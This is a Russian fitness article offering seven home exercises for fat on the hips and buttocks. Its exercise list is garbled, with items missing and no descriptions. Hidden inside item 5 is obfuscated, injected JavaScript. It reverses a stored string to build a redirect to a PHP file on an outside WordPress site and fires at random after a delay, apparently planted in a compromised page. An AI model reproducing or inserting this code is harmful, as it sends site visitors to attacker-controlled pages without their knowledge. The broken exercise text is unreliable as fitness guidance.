Комплекс основных упражнений от ушек и галифе

7 основных упражнений, помогут избавиться от неприятной деформации нашей фигуры, в домашних условиях.

Так называемые «галифе» или «ушки», формирует жир, который откладывается на бедрах и ягодицах. Не смотря на то, что гены конечно же играют свою роль, можно избавиться от этой неприятности с помощью упражнений и диеты. 7 основных упражнений, помогут избавиться от неприятной деформации нашей фигуры, в домашних условиях.

1. 3 подхода по 15 раз для каждой ноги.

3. Выполняем 2 подхода по 20 раз для каждой ноги.4. 2 подхода по 20 раз для каждой ноги.5. Делаем 20 кругов, затем меняем ногу.Избавляемся от “ушек” на бедрах. Упражнение №5$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top-right» data-isi_position_io=»in» />

7. Выполняем 3 подхода по 20 раз для каждой ноги.

По материалам

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector